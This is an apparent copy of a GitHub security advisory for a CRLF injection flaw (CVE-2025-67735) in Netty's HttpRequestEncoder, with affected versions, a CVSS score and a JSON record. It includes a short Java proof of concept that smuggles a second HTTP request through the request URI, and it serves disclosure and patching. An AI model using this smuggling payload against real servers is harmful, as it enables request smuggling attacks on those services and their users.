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GHSA-84H7-RJJ3-6JX4

Vulnerability from github – Published: 2025-12-15 23:28 – Updated: 2025-12-20 02:30
VLAI
Summary
Netty has a CRLF Injection vulnerability in io.netty.handler.codec.http.HttpRequestEncoder
Details

Summary

The io.netty.handler.codec.http.HttpRequestEncoder CRLF injection with the request uri when constructing a request. This leads to request smuggling when HttpRequestEncoder is used without proper sanitization of the uri.

Details

The HttpRequestEncoder simply UTF8 encodes the uri without sanitization (buf.writeByte(SP).writeCharSequence(uriCharSequence, CharsetUtil.UTF_8);)

The default implementation of HTTP headers guards against such possibility already with a validator making it impossible with headers.

PoC

Simple reproducer:

public static void main(String[] args) {

  EmbeddedChannel client = new EmbeddedChannel();
  client.pipeline().addLast(new HttpClientCodec());

  EmbeddedChannel server = new EmbeddedChannel();
  server.pipeline().addLast(new HttpServerCodec());
  server.pipeline().addLast(new ChannelInboundHandlerAdapter() {
    @Override
    public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {
      System.out.println("Processing msg " + msg);
    }
  });

  DefaultHttpRequest request = new DefaultHttpRequest(
    HttpVersion.HTTP_1_1,
    HttpMethod.GET,
    "/s1 HTTP/1.1\r\n" +
      "\r\n" +
      "POST /s2 HTTP/1.1\r\n" +
      "content-length: 11\r\n\r\n" +
      "Hello World" +
      "GET /s1"
  );
  client.writeAndFlush(request);
  ByteBuf tmp;
  while ((tmp = client.readOutbound()) != null) {
    server.writeInbound(tmp);
  }
}

Impact

Any application / framework using HttpRequestEncoder can be subject to be abused to perform request smuggling using CRLF injection.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.2.0.Alpha1"
            },
            {
              "fixed": "4.2.8.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.129.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-67735"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-93"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-12-15T23:28:49Z",
    "nvd_published_at": "2025-12-16T01:15:52Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nThe `io.netty.handler.codec.http.HttpRequestEncoder` CRLF injection with the request uri when constructing a request. This leads to request smuggling when `HttpRequestEncoder` is used without proper sanitization of the uri.\n\n### Details\n\nThe `HttpRequestEncoder` simply UTF8 encodes the `uri` without sanitization (`buf.writeByte(SP).writeCharSequence(uriCharSequence, CharsetUtil.UTF_8);`)\n\nThe default implementation of HTTP headers guards against such possibility already with a validator making it impossible with headers.\n\n### PoC\n\nSimple reproducer:\n\n```java\npublic static void main(String[] args) {\n\n  EmbeddedChannel client = new EmbeddedChannel();\n  client.pipeline().addLast(new HttpClientCodec());\n\n  EmbeddedChannel server = new EmbeddedChannel();\n  server.pipeline().addLast(new HttpServerCodec());\n  server.pipeline().addLast(new ChannelInboundHandlerAdapter() {\n    @Override\n    public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {\n      System.out.println(\"Processing msg \" + msg);\n    }\n  });\n\n  DefaultHttpRequest request = new DefaultHttpRequest(\n    HttpVersion.HTTP_1_1,\n    HttpMethod.GET,\n    \"/s1 HTTP/1.1\\r\\n\" +\n      \"\\r\\n\" +\n      \"POST /s2 HTTP/1.1\\r\\n\" +\n      \"content-length: 11\\r\\n\\r\\n\" +\n      \"Hello World\" +\n      \"GET /s1\"\n  );\n  client.writeAndFlush(request);\n  ByteBuf tmp;\n  while ((tmp = client.readOutbound()) != null) {\n    server.writeInbound(tmp);\n  }\n}\n```\n\n### Impact\n\nAny application / framework using `HttpRequestEncoder` can be subject to be abused to perform request smuggling using CRLF injection.",
  "id": "GHSA-84h7-rjj3-6jx4",
  "modified": "2025-12-20T02:30:14Z",
  "published": "2025-12-15T23:28:49Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-84h7-rjj3-6jx4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-67735"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/commit/77e81f1e5944d98b3acf887d3aa443b252752e94"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Netty has a CRLF Injection vulnerability in io.netty.handler.codec.http.HttpRequestEncoder"
}



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